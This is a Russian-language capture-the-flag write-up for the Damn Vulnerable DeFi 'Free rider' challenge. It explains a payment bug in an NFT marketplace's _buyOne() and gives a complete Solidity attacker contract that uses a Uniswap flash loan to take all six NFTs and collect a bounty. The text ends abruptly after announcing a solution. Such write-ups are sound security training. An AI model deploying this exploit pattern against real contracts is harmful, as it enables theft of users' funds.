Damn Vulnerable Defi. Задача 10. Free rider
Запустился новый маркет NFT с первыми 6 картинками и ценой в 15 ETH. Один из покупателей предлагает 45 ETH за взлом маркета и кражу всех токенов.
На счету у вас всего 0.5 ETH. Нужно выполнить задумку взлома.
В чем суть?
Как и для предыдущей задачи, тут нам требуется знать, как работает Uniswap, а точнее его flashloans. Другими словами, мы может взять некоторое количество Эфира, использовать его для своих целей, и вернуть в этой же транзакции, заплатив небольшую комиссию. Именно для комиссии, нам дали те 0.5 Эфира в начале.
Далее пройдемся по контракту и попробуем посмотреть, что может сыграть на на руку.
Взгляните на функцию _buyOne(). Она сначала пересылает сам токен, а потом еще и возвращает деньги заплатившему! Т.е. не продавец получит деньги, а покупатель вернет свои! Эту уязвимость и предлагают нам использовать в купе с flashloan от Uniswap.
Так как же выполнить задачу: получить быстрый займ, прокрутить NFT, отправив их на адрес заказчика, и после всего, получить свои 45 Эфира вознаграждения?
Логика будет такая: мы берем займ WETH, меняем его на ETH, покупаем NTF, возвращая деньги с помощью ошибки в коде, снова меняем ETH на WETH и отдаем займ с процентом на биржу Uniswap. И все это в одной транзакции!
Для этого потребуется написать небольшой контракт:
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
contract Attacker10 {
IERC721 private immutable NFT;
IWETH private immutable WETH;
IUniswapV2Pair private immutable UNISWAP_PAIR;
//Создаем объекты контрактов NFT, WETH и пары Uniswap для обмена
address private immutable marketplace;
address private immutable buyer;
address private immutable attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
//токены для покупки
receive() external payable {}
constructor(
address _nft,
address payable _weth,
address _pair,
address payable _marketplace,
address _buyer
) {
NFT = IERC721(_nft);
WETH = IWETH(_weth);
UNISWAP_PAIR = IUniswapV2Pair(_pair);
marketplace = _marketplace;
attacker = msg.sender;
buyer = _buyer;
}
function attack(uint256 _amount0) external {
require(msg.sender == attacker);
bytes memory _data = "1";
UNISWAP_PAIR.swap(_amount0, 0, address(this), _data);
}
//Функция обмена на WETH в Uniswap
function uniswapV2Call(
address,
uint256 _amount0,
uint256,
bytes calldata
) external {
require(msg.sender == address(UNISWAP_PAIR) && tx.origin == attacker);
//Получаем ETH
WETH.withdraw(_amount0);
//Покупаем NTF
(bool nftsBought, ) = marketplace.call{value: _amount0}(
abi.encodeWithSignature("buyMany(uint256[])", tokenIds)
);
// Считаем комиссию и сумма swap
uint256 _fee = (_amount0 * 3) / 997 + 1;
uint256 _repayAmount = _fee + _amount0;
//Получаем WETH для возврата займа
WETH.deposit{value: _repayAmount}();
//Оплачиваем займ
WETH.transfer(address(UNISWAP_PAIR), _repayAmount);
//Отсылаем NFT заказчику
for (uint256 i = 0; i < 6; i++) {
NFT.safeTransferFrom(address(this), buyer, tokenIds[i]);
}
//Забираем вознаграждение за злом от заказчика
(bool ethSent, ) = attacker.call{value: address(this).balance}("");
require(nftsBought && ethSent);
}
//Функция для приема NFT на контракт
function onERC721Received(address, address, uint256,bytes memory)
external view returns (bytes4) {
require(msg.sender == address(NFT) && tx.origin == attacker);
return 0x150b7a02;
}
}
В документации можно найти, как рассчитывать комиссию за займ.
И решение может выглядеть так:
Post #449
189